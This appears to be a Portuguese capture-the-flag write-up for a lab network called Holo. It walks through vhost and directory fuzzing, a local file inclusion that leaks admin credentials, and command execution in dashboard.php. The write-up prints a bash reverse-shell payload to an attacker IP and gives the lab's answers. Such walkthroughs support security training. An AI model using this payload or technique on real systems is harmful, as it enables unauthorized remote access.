Web App Exploitation 101
Holo Net - vhosts
# echo '10.200.95.33 holo.live www.holo.live' >> /etc/hosts
10.200.95.33 holo.live
10.200.95.33 www.holo.liveApós adicionarmos os vhosts no arquivo /etc/hosts acessamos o site, e não apresenta nenhum erro de disfiguração

Fuzzing de vhosts
# gobuster vhost -u http://holo.live/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://holo.live/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev
admin
wwwQuais domínios carregam imagens na primeira página da web?
www.holo.live
Quais são os outros dois domínios presentes no servidor web? Formato: Ordem Alfabética
admin.holo.live, dev.holo.live
Task 10
Aqui nós vamos enumerar subdiretórios
# ffuf -c -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://www.holo.live/FUZZ -fc 403,404
robots.txt [Status: 200, Size: 913, Words: 23, Lines: 23, Duration: 36ms]
# gobuster dir -u http://dev.holo.live/ -w /usr/share/wordlists/dirb/big.txt -x php,html
/about.php (Status: 200) [Size: 9612]
/img.php (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 7515]
# ffuf -c -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://admin.holo.live/FUZZ -fc 403,404
robots.txt [Status: 200, Size: 135, Words: 5, Lines: 5, Duration: 7ms]Qual arquivo vaza o diretório atual do servidor web?
robots.txt
Qual arquivo carrega imagens para o domínio de desenvolvimento?
img.php
Qual é o caminho completo do arquivo de credenciais no domínio do administrador?

/var/www/admin/supersecretdir/creds.txt
Task 12
Navegando no domínio admin.holo.live/talents.php identificamos um link que nos reencaminha para qualquer imagem de anime no servidor e descobrimos a origem das imagens.

O parâmetro fileem combinação com o caminho da imagem fornecido retorna algo! Isso significa que esse parâmetro existe! E agora podemos prosseguir testando este parâmetro em busca de vulnerabilidades, ou seja, testando-o para LFI e RFI.

Anteriormente descobrimos um arquivo de credenciais, podemos tentar lista-lo

Qual arquivo é vulnerável ao LFI no domínio de desenvolvimento?
img.php
Qual parâmetro no arquivo é vulnerável ao LFI?
file
Qual arquivo encontrado no vazamento de informações retorna um código de erro HTTP 403 no domínio do administrador?
/var/www/admin/supersecretdir/creds.txt
Usando LFI no domínio de desenvolvimento, leia o arquivo acima. Quais são as credenciais encontradas no arquivo?
admin:DBManagerLogin!
Task 13
Faremos login com as credenciais encontradas, e fomos reencaminhados para um dashboard

Olhando através do código, podemos identificar imediatamente uma vulnerabilidade crucial que leva ao RCE

Então encontramos uma maneira de executar código na máquina. Vamos usar isso para estabelecer um shell reverso totalmente interativo.

Portanto, primeiro precisamos verificar se há ferramentas úteis existentes na máquina de destino. Um deles seria, por exemplo nc. Vamos verificar se o ncbinário existe:

Agora iniciamos um ouvinte nc em nossa máquina atacante e simplesmente incluímos um ncshell reverso baseado como cmdparâmetro. O código shell reverso que usamos é o seguinte:
/bin/bash+-c+"bash+-i+>%26+/dev/tcp/10.50.74.4/9001+0>%261"
Após enviar a requisição, pegamos o shell reverso em nossa máquina, usei o pwncat que é menos instável que netcat (espero explorar mais essa ferramenta para port-forwarding)

Qual arquivo é vulnerável ao RCE no domínio do administrador?
dashboard.php
Qual parâmetro é vulnerável ao RCE no domínio do administrador?
cmd
Com qual usuário o servidor web está sendo executado?
www-data
Last updated